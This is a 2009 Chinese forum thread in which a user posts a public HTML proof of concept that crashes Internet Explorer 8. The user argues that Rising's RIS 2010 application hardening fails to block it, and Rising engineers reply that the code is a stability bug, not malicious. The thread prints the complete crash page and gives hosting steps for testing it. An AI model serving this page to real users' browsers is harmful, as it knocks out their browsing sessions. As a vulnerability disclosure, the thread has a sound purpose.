1   1  /  1  页   跳转页

一段公开代码，绕过RIS一切组件

收藏
taylor05771
头像
社区嘉宾
  • 帖子:7232
  • 注册: 2003-12-24
  • 来自:
发表于： 2009-08-07 16:51 | 显示全部 短消息 资料
字号： 小 中 大 1楼

一段公开代码，绕过RIS一切组件

当访问的网页包含如下代码的时候，即便IE加入到RIS2010程序加固也白搭

IE 该报错依旧报错，RIS所有组件都无反应


注意 这个测试，主要说明 程序加固对IE的加固，还是不坚固！！！

另外别拿解释代码的内容来回帖，这是MS Internet Explorer 8.0.7100.0 Simple HTML Remote Crash PoC

虽然写着IE8，估计其他版本的IE 也一样。



代码如下

[复制到剪贴板]
CODE:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<body>
  <div style = "width: 100%; max-height: 400px; overflow: scroll;">
    <script type="text/javascript" src="nichtvorhanden"></script>
    <script type="text/javascript"></script>
  </div>
</body>
</html>


最后编辑taylor05771 最后编辑于 2009-08-07 16:54:08
分享到：
gototop
 
taylor05771
头像
社区嘉宾
  • 帖子:7232
  • 注册: 2003-12-24
  • 来自:
发表于： 2009-08-21 13:39 | 显示全部 短消息 资料
字号： 小 中 大 2楼

回复: 一段公开代码，绕过RIS一切组件



引用:
原帖由 瑞星工程师12 于 2009-8-21 11:11:00 发表
楼主提供的这个测试并没有包含恶意代码


按照您的说法，针对IE8的漏洞代码就是善意代码了？？

我真的火了，分析几周的结果就是这个？


我甚至怀疑，相关人员有没有认真分析测试，在此我教你怎么测试好了：


把相关代码复制到记事本 保存成html格式，放到服务器网站下面访问这个页面，再测试！！
最后编辑taylor05771 最后编辑于 2009-08-21 13:44:33
gototop
 
taylor05771
头像
社区嘉宾
  • 帖子:7232
  • 注册: 2003-12-24
  • 来自:
发表于： 2009-08-21 15:29 | 显示全部 短消息 资料
字号： 小 中 大 3楼

回复: 一段公开代码，绕过RIS一切组件



引用:
原帖由 瑞星工程师18 于 2009-8-21 14:44:00 发表
楼主的问题很有意思
我测了下，这段代码确实会导致IE8崩溃
有一点需要明确，应用程序加固的目的：保护IE浏览器、office等软件有效防御针对此类软件进行的攻击或恶意行为，但不是提高或解决此类软件的稳定性和兼容性；
但此段代码确无无恶意行为，但会导致IE8崩溃，
建议将这段代码反馈给微软，或许此问题可以得到更妥善的解决，
同时楼主也可以测下，在装有其他杀毒软件的IE8环境系统，是不是可以

IE8是怎么崩溃的？肯定不是拿榔头砸的


那为什么会崩溃呢？那么这段代码是针对IE 的远程拒绝服务攻击。

远程攻击的结果很多，一种是执行任意代码，一种是导致相关软件或者组件拒绝服务，前者后果严重而后者结果相对较轻。

你能说这不是恶意行为？如果IE没有这漏洞，攻击是不能得逞的，也有人说过IE6不会触发这个漏洞，因此把这个推给IE的稳定性和兼容性，是错误的做法

从截图中我们很容易看到报错的内存地址，某非 程序加固对于针对IE内存的小动作是无法拦截的？


另外类似“其他杀毒软件**处理”这种说法是让人发笑的，难到瑞星就没有一点自己的技术，一直跟在别人后面？
最后编辑taylor05771 最后编辑于 2009-08-21 15:34:46
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT